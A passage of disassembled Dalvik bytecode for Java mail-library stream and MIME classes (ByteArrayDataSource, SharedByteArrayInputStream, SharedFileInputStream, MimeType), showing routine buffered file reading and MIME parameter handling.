0000002A  new-instance            v0, SharedByteArrayInputStream
0000002E  iget-object             v1, p0, ByteArrayDataSource->data:[B
00000032  const/4                 v2, 0x0
00000034  iget                    v3, p0, ByteArrayDataSource->len:I
00000038  invoke-direct           SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
0000003E  return-object           v0
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, ByteArrayDataSource->name:String
00000004  return-object           v0
.end method

.method public getOutputStream()OutputStream
          .registers 3
00000000  new-instance            v0, IOException
00000004  const-string            v1, "cannot do this"
00000008  invoke-direct           IOException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setName(String)V
          .registers 2
00000000  iput-object             p1, p0, ByteArrayDataSource->name:String
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public SharedByteArrayInputStream
.super ByteArrayInputStream
.source ""

.implements SharedInputStream

.field protected start:I

.method public constructor <init>([B)V
          .registers 3
00000000  invoke-direct           ByteArrayInputStream-><init>([B)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, SharedByteArrayInputStream->start:I
0000000C  return-void
.end method

.method public constructor <init>([B, I, I)V
          .registers 5
00000000  invoke-direct           ByteArrayInputStream-><init>([B, I, I)V, p0, p1, p2, p3
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, SharedByteArrayInputStream->start:I
0000000C  iput                    p2, p0, SharedByteArrayInputStream->start:I
00000010  return-void
.end method

.method public getPosition()J
          .registers 3
00000000  iget                    v0, p0, SharedByteArrayInputStream->pos:I
00000004  iget                    v1, p0, SharedByteArrayInputStream->start:I
00000008  sub-int/2addr           v0, v1
0000000A  int-to-long             v0, v0
0000000C  return-wide             v0
.end method

.method public newStream(J, J)InputStream
          .registers 10
00000000  const-wide/16           v0, 0x0
00000004  cmp-long                v0, p1, v0
00000008  if-gez                  v0, :1C
:C
0000000C  new-instance            v0, IllegalArgumentException
00000010  const-string            v1, "start < 0"
00000014  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
0000001A  throw                   v0
:1C
0000001C  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
00000020  cmp-long                v0, p3, v0
00000024  if-nez                  v0, :34
:28
00000028  iget                    v0, p0, SharedByteArrayInputStream->count:I
0000002C  iget                    v1, p0, SharedByteArrayInputStream->start:I
00000030  sub-int/2addr           v0, v1
00000032  int-to-long             p3, v0
:34
00000034  new-instance            v0, SharedByteArrayInputStream
00000038  iget-object             v1, p0, SharedByteArrayInputStream->buf:[B
0000003C  iget                    v2, p0, SharedByteArrayInputStream->start:I
00000040  long-to-int             v3, p1
00000042  add-int/2addr           v2, v3
00000044  sub-long                v3, p3, p1
00000048  long-to-int             v3, v3
0000004A  invoke-direct           SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000050  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class SharedFileInputStream$SharedFile
.super Object
.source ""

.field private cnt:I
.field private in:RandomAccessFile

.method constructor <init>(File)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, RandomAccessFile
0000000A  const-string            v1, "r"
0000000E  invoke-direct           RandomAccessFile-><init>(File, String)V, v0, p1, v1
00000014  iput-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000018  return-void
.end method

.method constructor <init>(String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, RandomAccessFile
0000000A  const-string            v1, "r"
0000000E  invoke-direct           RandomAccessFile-><init>(String, String)V, v0, p1, v1
00000014  iput-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000018  return-void
.end method

.method public declared-synchronized close()V
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000006  if-lez                  v0, :24
:A
0000000A  iget                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
0000000E  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000012  iput                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000016  if-gtz                  v0, :24
:1A
0000001A  iget-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
0000001E  invoke-virtual          RandomAccessFile->close()V, v0
:24
00000024  monitor-exit            p0
00000026  return-void
:28
00000028  move-exception          v0
0000002A  monitor-exit            p0
0000002C  throw                   v0
          .catchall {:2 .. :24} :28
.end method

.method protected finalize()V
          .registers 2
00000000  invoke-super            Object->finalize()V, p0
00000006  iget-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
0000000A  invoke-virtual          RandomAccessFile->close()V, v0
00000010  return-void
.end method

.method public declared-synchronized forceClose()V
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000006  if-lez                  v0, :1E
:A
0000000A  const/4                 v0, 0x0
0000000C  iput                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000010  iget-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000014  invoke-virtual          RandomAccessFile->close()V, v0
:1A
0000001A  monitor-exit            p0
0000001C  return-void
:1E
0000001E  iget-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000022  invoke-virtual          RandomAccessFile->close()V, v0
:28
00000028  goto                    :1A
:2A
0000002A  move-exception          v0
0000002C  goto                    :1A
:2E
0000002E  move-exception          v0
00000030  monitor-exit            p0
00000032  throw                   v0
          .catchall {:2 .. :1A} :2E
          .catch IOException {:1E .. :28} :2A
          .catchall {:1E .. :28} :2E
.end method

.method public open()RandomAccessFile
          .registers 2
00000000  iget                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
00000004  add-int/lit8            v0, v0, 0x1
00000008  iput                    v0, p0, SharedFileInputStream$SharedFile->cnt:I
0000000C  iget-object             v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public SharedFileInputStream
.super BufferedInputStream
.source ""

.implements SharedInputStream

.field private static defaultBufferSize:I
.field protected bufpos:J
.field protected bufsize:I
.field protected datalen:J
.field protected in:RandomAccessFile
.field private master:Z
.field private sf:SharedFileInputStream$SharedFile
.field protected start:J

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x800
00000004  sput                    v0, SharedFileInputStream->defaultBufferSize:I
00000008  return-void
.end method

.method public constructor <init>(File)V
          .registers 3
00000000  sget                    v0, SharedFileInputStream->defaultBufferSize:I
00000004  invoke-direct           SharedFileInputStream-><init>(File, I)V, p0, p1, v0
0000000A  return-void
.end method

.method public constructor <init>(File, I)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           BufferedInputStream-><init>(InputStream)V, p0, v0
00000008  const-wide/16           v0, 0x0
0000000C  iput-wide               v0, p0, SharedFileInputStream->start:J
00000010  const/4                 v0, 0x1
00000012  iput-boolean            v0, p0, SharedFileInputStream->master:Z
00000016  if-gtz                  p2, :2A
:1A
0000001A  new-instance            v0, IllegalArgumentException
0000001E  const-string            v1, "Buffer size <= 0"
00000022  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000028  throw                   v0
:2A
0000002A  new-instance            v0, SharedFileInputStream$SharedFile
0000002E  invoke-direct           SharedFileInputStream$SharedFile-><init>(File)V, v0, p1
00000034  invoke-direct           SharedFileInputStream->init(SharedFileInputStream$SharedFile, I)V, p0, v0, p2
0000003A  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  sget                    v0, SharedFileInputStream->defaultBufferSize:I
00000004  invoke-direct           SharedFileInputStream-><init>(String, I)V, p0, p1, v0
0000000A  return-void
.end method

.method public constructor <init>(String, I)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           BufferedInputStream-><init>(InputStream)V, p0, v0
00000008  const-wide/16           v0, 0x0
0000000C  iput-wide               v0, p0, SharedFileInputStream->start:J
00000010  const/4                 v0, 0x1
00000012  iput-boolean            v0, p0, SharedFileInputStream->master:Z
00000016  if-gtz                  p2, :2A
:1A
0000001A  new-instance            v0, IllegalArgumentException
0000001E  const-string            v1, "Buffer size <= 0"
00000022  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000028  throw                   v0
:2A
0000002A  new-instance            v0, SharedFileInputStream$SharedFile
0000002E  invoke-direct           SharedFileInputStream$SharedFile-><init>(String)V, v0, p1
00000034  invoke-direct           SharedFileInputStream->init(SharedFileInputStream$SharedFile, I)V, p0, v0, p2
0000003A  return-void
.end method

.method private constructor <init>(SharedFileInputStream$SharedFile, J, J, I)V
          .registers 9
00000000  const/4                 v0, 0x0
00000002  invoke-direct           BufferedInputStream-><init>(InputStream)V, p0, v0
00000008  const-wide/16           v0, 0x0
0000000C  iput-wide               v0, p0, SharedFileInputStream->start:J
00000010  const/4                 v0, 0x1
00000012  iput-boolean            v0, p0, SharedFileInputStream->master:Z
00000016  const/4                 v0, 0x0
00000018  iput-boolean            v0, p0, SharedFileInputStream->master:Z
0000001C  iput-object             p1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000020  invoke-virtual          SharedFileInputStream$SharedFile->open()RandomAccessFile, p1
00000026  move-result-object      v0
00000028  iput-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
0000002C  iput-wide               p2, p0, SharedFileInputStream->start:J
00000030  iput-wide               p2, p0, SharedFileInputStream->bufpos:J
00000034  iput-wide               p4, p0, SharedFileInputStream->datalen:J
00000038  iput                    p6, p0, SharedFileInputStream->bufsize:I
0000003C  new-array               v0, p6, [B
00000040  iput-object             v0, p0, SharedFileInputStream->buf:[B
00000044  return-void
.end method

.method private ensureOpen()V
          .registers 3
00000000  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, IOException
0000000C  const-string            v1, "Stream closed"
00000010  invoke-direct           IOException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  return-void
.end method

.method private fill()V
          .registers 7
00000000  const/4                 v4, 0x0
00000002  iget                    v0, p0, SharedFileInputStream->markpos:I
00000006  if-gez                  v0, :A8
:A
0000000A  iput                    v4, p0, SharedFileInputStream->pos:I
0000000E  iget-wide               v0, p0, SharedFileInputStream->bufpos:J
00000012  iget                    v2, p0, SharedFileInputStream->count:I
00000016  int-to-long             v2, v2
00000018  add-long/2addr          v0, v2
0000001A  iput-wide               v0, p0, SharedFileInputStream->bufpos:J
:1E
0000001E  iget                    v0, p0, SharedFileInputStream->pos:I
00000022  iput                    v0, p0, SharedFileInputStream->count:I
00000026  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
0000002A  iget-wide               v1, p0, SharedFileInputStream->bufpos:J
0000002E  iget                    v3, p0, SharedFileInputStream->pos:I
00000032  int-to-long             v3, v3
00000034  add-long/2addr          v1, v3
00000036  invoke-virtual          RandomAccessFile->seek(J)V, v0, v1, v2
0000003C  iget-object             v0, p0, SharedFileInputStream->buf:[B
00000040  array-length            v0, v0
00000042  iget                    v1, p0, SharedFileInputStream->pos:I
00000046  sub-int/2addr           v0, v1
00000048  iget-wide               v1, p0, SharedFileInputStream->bufpos:J
0000004C  iget-wide               v3, p0, SharedFileInputStream->start:J
00000050  sub-long/2addr          v1, v3
00000052  iget                    v3, p0, SharedFileInputStream->pos:I
00000056  int-to-long             v3, v3
00000058  add-long/2addr          v1, v3
0000005A  int-to-long             v3, v0
0000005C  add-long/2addr          v1, v3
0000005E  iget-wide               v3, p0, SharedFileInputStream->datalen:J
00000062  cmp-long                v1, v1, v3
00000066  if-lez                  v1, :84
:6A
0000006A  iget-wide               v0, p0, SharedFileInputStream->datalen:J
0000006E  iget-wide               v2, p0, SharedFileInputStream->bufpos:J
00000072  iget-wide               v4, p0, SharedFileInputStream->start:J
00000076  sub-long/2addr          v2, v4
00000078  iget                    v4, p0, SharedFileInputStream->pos:I
0000007C  int-to-long             v4, v4
0000007E  add-long/2addr          v2, v4
00000080  sub-long/2addr          v0, v2
00000082  long-to-int             v0, v0
:84
00000084  iget-object             v1, p0, SharedFileInputStream->in:RandomAccessFile
00000088  iget-object             v2, p0, SharedFileInputStream->buf:[B
0000008C  iget                    v3, p0, SharedFileInputStream->pos:I
00000090  invoke-virtual          RandomAccessFile->read([B, I, I)I, v1, v2, v3, v0
00000096  move-result             v0
00000098  if-lez                  v0, :A6
:9C
0000009C  iget                    v1, p0, SharedFileInputStream->pos:I
000000A0  add-int/2addr           v0, v1
000000A2  iput                    v0, p0, SharedFileInputStream->count:I
:A6
000000A6  return-void
:A8
000000A8  iget                    v0, p0, SharedFileInputStream->pos:I
000000AC  iget-object             v1, p0, SharedFileInputStream->buf:[B
000000B0  array-length            v1, v1
000000B2  if-lt                   v0, v1, :1E
:B6
000000B6  iget                    v0, p0, SharedFileInputStream->markpos:I
000000BA  if-lez                  v0, :F4
:BE
000000BE  iget                    v0, p0, SharedFileInputStream->pos:I
000000C2  iget                    v1, p0, SharedFileInputStream->markpos:I
000000C6  sub-int/2addr           v0, v1
000000C8  iget-object             v1, p0, SharedFileInputStream->buf:[B
000000CC  iget                    v2, p0, SharedFileInputStream->markpos:I
000000D0  iget-object             v3, p0, SharedFileInputStream->buf:[B
000000D4  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v2, v3, v4, v0
000000DA  iput                    v0, p0, SharedFileInputStream->pos:I
000000DE  iget-wide               v0, p0, SharedFileInputStream->bufpos:J
000000E2  iget                    v2, p0, SharedFileInputStream->markpos:I
000000E6  int-to-long             v2, v2
000000E8  add-long/2addr          v0, v2
000000EA  iput-wide               v0, p0, SharedFileInputStream->bufpos:J
000000EE  iput                    v4, p0, SharedFileInputStream->markpos:I
000000F2  goto                    :1E
:F4
000000F4  iget-object             v0, p0, SharedFileInputStream->buf:[B
000000F8  array-length            v0, v0
000000FA  iget                    v1, p0, SharedFileInputStream->marklimit:I
000000FE  if-lt                   v0, v1, :11E
:102
00000102  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000104  iput                    v0, p0, SharedFileInputStream->markpos:I
00000108  iput                    v4, p0, SharedFileInputStream->pos:I
0000010C  iget-wide               v0, p0, SharedFileInputStream->bufpos:J
00000110  iget                    v2, p0, SharedFileInputStream->count:I
00000114  int-to-long             v2, v2
00000116  add-long/2addr          v0, v2
00000118  iput-wide               v0, p0, SharedFileInputStream->bufpos:J
0000011C  goto                    :1E
:11E
0000011E  iget                    v0, p0, SharedFileInputStream->pos:I
00000122  mul-int/lit8            v0, v0, 0x2
00000126  iget                    v1, p0, SharedFileInputStream->marklimit:I
0000012A  if-le                   v0, v1, :132
:12E
0000012E  iget                    v0, p0, SharedFileInputStream->marklimit:I
:132
00000132  new-array               v0, v0, [B
00000136  iget-object             v1, p0, SharedFileInputStream->buf:[B
0000013A  iget                    v2, p0, SharedFileInputStream->pos:I
0000013E  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v4, v0, v4, v2
00000144  iput-object             v0, p0, SharedFileInputStream->buf:[B
00000148  goto/16                 :1E
.end method

.method private in_available()I
          .registers 7
00000000  iget-wide               v0, p0, SharedFileInputStream->start:J
00000004  iget-wide               v2, p0, SharedFileInputStream->datalen:J
00000008  add-long/2addr          v0, v2
0000000A  iget-wide               v2, p0, SharedFileInputStream->bufpos:J
0000000E  iget                    v4, p0, SharedFileInputStream->count:I
00000012  int-to-long             v4, v4
00000014  add-long/2addr          v2, v4
00000016  sub-long/2addr          v0, v2
00000018  long-to-int             v0, v0
0000001A  return                  v0
.end method

.method private init(SharedFileInputStream$SharedFile, I)V
          .registers 5
00000000  iput-object             p1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000004  invoke-virtual          SharedFileInputStream$SharedFile->open()RandomAccessFile, p1
0000000A  move-result-object      v0
0000000C  iput-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
00000010  const-wide/16           v0, 0x0
00000014  iput-wide               v0, p0, SharedFileInputStream->start:J
00000018  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
0000001C  invoke-virtual          RandomAccessFile->length()J, v0
00000022  move-result-wide        v0
00000024  iput-wide               v0, p0, SharedFileInputStream->datalen:J
00000028  iput                    p2, p0, SharedFileInputStream->bufsize:I
0000002C  new-array               v0, p2, [B
00000030  iput-object             v0, p0, SharedFileInputStream->buf:[B
00000034  return-void
.end method

.method private read1([B, I, I)I
          .registers 6
00000000  iget                    v0, p0, SharedFileInputStream->count:I
00000004  iget                    v1, p0, SharedFileInputStream->pos:I
00000008  sub-int/2addr           v0, v1
0000000A  if-gtz                  v0, :26
:E
0000000E  invoke-direct           SharedFileInputStream->fill()V, p0
00000014  iget                    v0, p0, SharedFileInputStream->count:I
00000018  iget                    v1, p0, SharedFileInputStream->pos:I
0000001C  sub-int/2addr           v0, v1
0000001E  if-gtz                  v0, :26
:22
00000022  const/4                 p3, 0xFFFFFFFFFFFFFFFF
:24
00000024  return                  p3
:26
00000026  if-ge                   v0, p3, :2C
:2A
0000002A  move                    p3, v0
:2C
0000002C  iget-object             v0, p0, SharedFileInputStream->buf:[B
00000030  iget                    v1, p0, SharedFileInputStream->pos:I
00000034  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v1, p1, p2, p3
0000003A  iget                    v0, p0, SharedFileInputStream->pos:I
0000003E  add-int/2addr           v0, p3
00000040  iput                    v0, p0, SharedFileInputStream->pos:I
00000044  goto                    :24
.end method

.method public declared-synchronized available()I
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-direct           SharedFileInputStream->ensureOpen()V, p0
00000008  iget                    v0, p0, SharedFileInputStream->count:I
0000000C  iget                    v1, p0, SharedFileInputStream->pos:I
00000010  sub-int/2addr           v0, v1
00000012  invoke-direct           SharedFileInputStream->in_available()I, p0
:18
00000018  move-result             v1
0000001A  add-int/2addr           v0, v1
0000001C  monitor-exit            p0
0000001E  return                  v0
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
          .catchall {:2 .. :18} :20
.end method

.method public close()V
          .registers 3
00000000  const/4                 v1, 0x0
00000002  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
00000006  if-nez                  v0, :C
:A
0000000A  return-void
:C
0000000C  iget-boolean            v0, p0, SharedFileInputStream->master:Z
00000010  if-eqz                  v0, :2C
:14
00000014  iget-object             v0, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000018  invoke-virtual          SharedFileInputStream$SharedFile->forceClose()V, v0
:1E
0000001E  iput-object             v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000022  iput-object             v1, p0, SharedFileInputStream->in:RandomAccessFile
00000026  iput-object             v1, p0, SharedFileInputStream->buf:[B
0000002A  goto                    :A
:2C
0000002C  iget-object             v0, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
00000030  invoke-virtual          SharedFileInputStream$SharedFile->close()V, v0
:36
00000036  goto                    :1E
:38
00000038  move-exception          v0
0000003A  iput-object             v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
0000003E  iput-object             v1, p0, SharedFileInputStream->in:RandomAccessFile
00000042  iput-object             v1, p0, SharedFileInputStream->buf:[B
00000046  throw                   v0
          .catchall {:C .. :1E} :38
          .catchall {:2C .. :36} :38
.end method

.method protected finalize()V
          .registers 1
00000000  invoke-super            Object->finalize()V, p0
00000006  invoke-virtual          SharedFileInputStream->close()V, p0
0000000C  return-void
.end method

.method public getPosition()J
          .registers 5
00000000  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, RuntimeException
0000000C  const-string            v1, "Stream closed"
00000010  invoke-direct           RuntimeException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  iget-wide               v0, p0, SharedFileInputStream->bufpos:J
0000001C  iget                    v2, p0, SharedFileInputStream->pos:I
00000020  int-to-long             v2, v2
00000022  add-long/2addr          v0, v2
00000024  iget-wide               v2, p0, SharedFileInputStream->start:J
00000028  sub-long/2addr          v0, v2
0000002A  return-wide             v0
.end method

.method public declared-synchronized mark(I)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput                    p1, p0, SharedFileInputStream->marklimit:I
00000006  iget                    v0, p0, SharedFileInputStream->pos:I
0000000A  iput                    v0, p0, SharedFileInputStream->markpos:I
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :E} :12
.end method

.method public markSupported()Z
          .registers 2
00000000  const/4                 v0, 0x1
00000002  return                  v0
.end method

.method public newStream(J, J)InputStream
          .registers 12
00000000  iget-object             v0, p0, SharedFileInputStream->in:RandomAccessFile
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, RuntimeException
0000000C  const-string            v1, "Stream closed"
00000010  invoke-direct           RuntimeException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  const-wide/16           v0, 0x0
0000001C  cmp-long                v0, p1, v0
00000020  if-gez                  v0, :34
:24
00000024  new-instance            v0, IllegalArgumentException
00000028  const-string            v1, "start < 0"
0000002C  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000032  throw                   v0
:34
00000034  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
00000038  cmp-long                v0, p3, v0
0000003C  if-nez                  v0, :44
:40
00000040  iget-wide               p3, p0, SharedFileInputStream->datalen:J
:44
00000044  new-instance            v0, SharedFileInputStream
00000048  iget-object             v1, p0, SharedFileInputStream->sf:SharedFileInputStream$SharedFile
0000004C  iget-wide               v2, p0, SharedFileInputStream->start:J
00000050  long-to-int             v4, p1
00000052  int-to-long             v4, v4
00000054  add-long/2addr          v2, v4
00000056  sub-long                v4, p3, p1
0000005A  long-to-int             v4, v4
0000005C  int-to-long             v4, v4
0000005E  iget                    v6, p0, SharedFileInputStream->bufsize:I
00000062  invoke-direct/range     SharedFileInputStream-><init>(SharedFileInputStream$SharedFile, J, J, I)V, v0 .. v6
00000068  return-object           v0
.end method

.method public declared-synchronized read()I
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-direct           SharedFileInputStream->ensureOpen()V, p0
00000008  iget                    v0, p0, SharedFileInputStream->pos:I
0000000C  iget                    v1, p0, SharedFileInputStream->count:I
00000010  if-lt                   v0, v1, :2C
:14
00000014  invoke-direct           SharedFileInputStream->fill()V, p0
0000001A  iget                    v0, p0, SharedFileInputStream->pos:I
0000001E  iget                    v1, p0, SharedFileInputStream->count:I
:22
00000022  if-lt                   v0, v1, :2C
:26
00000026  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:28
00000028  monitor-exit            p0
0000002A  return                  v0
:2C
0000002C  iget-object             v0, p0, SharedFileInputStream->buf:[B
00000030  iget                    v1, p0, SharedFileInputStream->pos:I
00000034  add-int/lit8            v2, v1, 0x1
00000038  iput                    v2, p0, SharedFileInputStream->pos:I
0000003C  aget-byte               v0, v0, v1
:40
00000040  and-int/lit16           v0, v0, 0xFF
00000044  goto                    :28
:46
00000046  move-exception          v0
00000048  monitor-exit            p0
0000004A  throw                   v0
          .catchall {:2 .. :22} :46
          .catchall {:2C .. :40} :46
.end method

.method public declared-synchronized read([B, I, I)I
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-direct           SharedFileInputStream->ensureOpen()V, p0
00000008  or-int                  v0, p2, p3
0000000C  add-int                 v1, p2, p3
00000010  or-int/2addr            v0, v1
00000012  array-length            v1, p1
00000014  add-int                 v2, p2, p3
00000018  sub-int/2addr           v1, v2
0000001A  or-int/2addr            v0, v1
0000001C  if-gez                  v0, :32
:20
00000020  new-instance            v0, IndexOutOfBoundsException
00000024  invoke-direct           IndexOutOfBoundsException-><init>()V, v0
0000002A  throw                   v0
:2C
0000002C  move-exception          v0
0000002E  monitor-exit            p0
00000030  throw                   v0
:32
00000032  if-nez                  p3, :3C
:36
00000036  const/4                 v0, 0x0
:38
00000038  monitor-exit            p0
0000003A  return                  v0
:3C
0000003C  invoke-direct           SharedFileInputStream->read1([B, I, I)I, p0, p1, p2, p3
00000042  move-result             v0
00000044  if-lez                  v0, :38
:48
00000048  if-ge                   v0, p3, :38
:4C
0000004C  add-int                 v1, p2, v0
00000050  sub-int                 v2, p3, v0
00000054  invoke-direct           SharedFileInputStream->read1([B, I, I)I, p0, p1, v1, v2
:5A
0000005A  move-result             v1
0000005C  if-lez                  v1, :38
:60
00000060  add-int/2addr           v0, v1
00000062  goto                    :48
          .catchall {:2 .. :2C} :2C
          .catchall {:3C .. :5A} :2C
.end method

.method public declared-synchronized reset()V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-direct           SharedFileInputStream->ensureOpen()V, p0
00000008  iget                    v0, p0, SharedFileInputStream->markpos:I
0000000C  if-gez                  v0, :26
:10
00000010  new-instance            v0, IOException
00000014  const-string            v1, "Resetting to invalid mark"
00000018  invoke-direct           IOException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
:26
00000026  iget                    v0, p0, SharedFileInputStream->markpos:I
0000002A  iput                    v0, p0, SharedFileInputStream->pos:I
:2E
0000002E  monitor-exit            p0
00000030  return-void
          .catchall {:2 .. :20} :20
          .catchall {:26 .. :2E} :20
.end method

.method public declared-synchronized skip(J)J
          .registers 8
00000000  const-wide/16           v0, 0x0
00000004  monitor-enter           p0
:6
00000006  invoke-direct           SharedFileInputStream->ensureOpen()V, p0
:C
0000000C  cmp-long                v2, p1, v0
00000010  if-gtz                  v2, :18
:14
00000014  monitor-exit            p0
00000016  return-wide             v0
:18
00000018  iget                    v2, p0, SharedFileInputStream->count:I
0000001C  iget                    v3, p0, SharedFileInputStream->pos:I
00000020  sub-int/2addr           v2, v3
00000022  int-to-long             v2, v2
00000024  cmp-long                v4, v2, v0
00000028  if-gtz                  v4, :46
:2C
0000002C  invoke-direct           SharedFileInputStream->fill()V, p0
00000032  iget                    v2, p0, SharedFileInputStream->count:I
00000036  iget                    v3, p0, SharedFileInputStream->pos:I
0000003A  sub-int/2addr           v2, v3
0000003C  int-to-long             v2, v2
0000003E  cmp-long                v4, v2, v0
00000042  if-lez                  v4, :14
:46
00000046  move-wide               v0, v2
00000048  cmp-long                v2, v0, p1
0000004C  if-gez                  v2, :66
:50
00000050  iget                    v2, p0, SharedFileInputStream->pos:I
00000054  int-to-long             v2, v2
00000056  add-long/2addr          v2, v0
00000058  long-to-int             v2, v2
0000005A  iput                    v2, p0, SharedFileInputStream->pos:I
:5E
0000005E  goto                    :14
:60
00000060  move-exception          v0
00000062  monitor-exit            p0
00000064  throw                   v0
:66
00000066  move-wide               v0, p1
00000068  goto                    :50
          .catchall {:6 .. :C} :60
          .catchall {:18 .. :5E} :60
.end method

#--------------------------------------------------------------------------------
.class final MimeTypeProcessor$MimeType
.super Object
.source ""

.implements Serializable
.implements Cloneable

.field private static final serialVersionUID:J = 0xA31BA7D0705C1214L
.field private parameters:Hashtable
.field private primaryType:String
.field private subType:String
.field private systemParameters:Hashtable

.method constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, MimeTypeProcessor$MimeType->primaryType:String
0000000C  iput-object             v0, p0, MimeTypeProcessor$MimeType->subType:String
00000010  iput-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000014  iput-object             v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000018  return-void
.end method

.method constructor <init>(String, String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, MimeTypeProcessor$MimeType->primaryType:String
0000000A  iput-object             p2, p0, MimeTypeProcessor$MimeType->subType:String
0000000E  new-instance            v0, Hashtable
00000012  invoke-direct           Hashtable-><init>()V, v0
00000018  iput-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
0000001C  new-instance            v0, Hashtable
00000020  invoke-direct           Hashtable-><init>()V, v0
00000026  iput-object             v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000002A  return-void
.end method

.method static synthetic access$0(MimeTypeProcessor$MimeType)Hashtable
          .registers 2
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004  return-object           v0
.end method

.method static synthetic access$1(MimeTypeProcessor$MimeType, String)V
          .registers 2
00000000  iput-object             p1, p0, MimeTypeProcessor$MimeType->primaryType:String
00000004  return-void
.end method

.method static synthetic access$2(MimeTypeProcessor$MimeType, String)V
          .registers 2
00000000  iput-object             p1, p0, MimeTypeProcessor$MimeType->subType:String
00000004  return-void
.end method

.method static synthetic access$3(MimeTypeProcessor$MimeType, Hashtable)V
          .registers 2
00000000  iput-object             p1, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004  return-void
.end method

.method static synthetic access$4(MimeTypeProcessor$MimeType, Hashtable)V
          .registers 2
00000000  iput-object             p1, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004  return-void
.end method

.method addParameter(String, String)V
          .registers 5
00000000  const/16                v1, 0x22
00000004  if-nez                  p2, :A
:8
00000008  return-void
:A
0000000A  const/4                 v0, 0x0
0000000C  invoke-virtual          String->charAt(I)C, p2, v0
00000012  move-result             v0
00000014  if-ne                   v0, v1, :46
:18
00000018  invoke-virtual          String->length()I, p2
0000001E  move-result             v0
00000020  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000024  invoke-virtual          String->charAt(I)C, p2, v0
0000002A  move-result             v0
0000002C  if-ne                   v0, v1, :46
:30
00000030  const/4                 v0, 0x1
00000032  invoke-virtual          String->length()I, p2
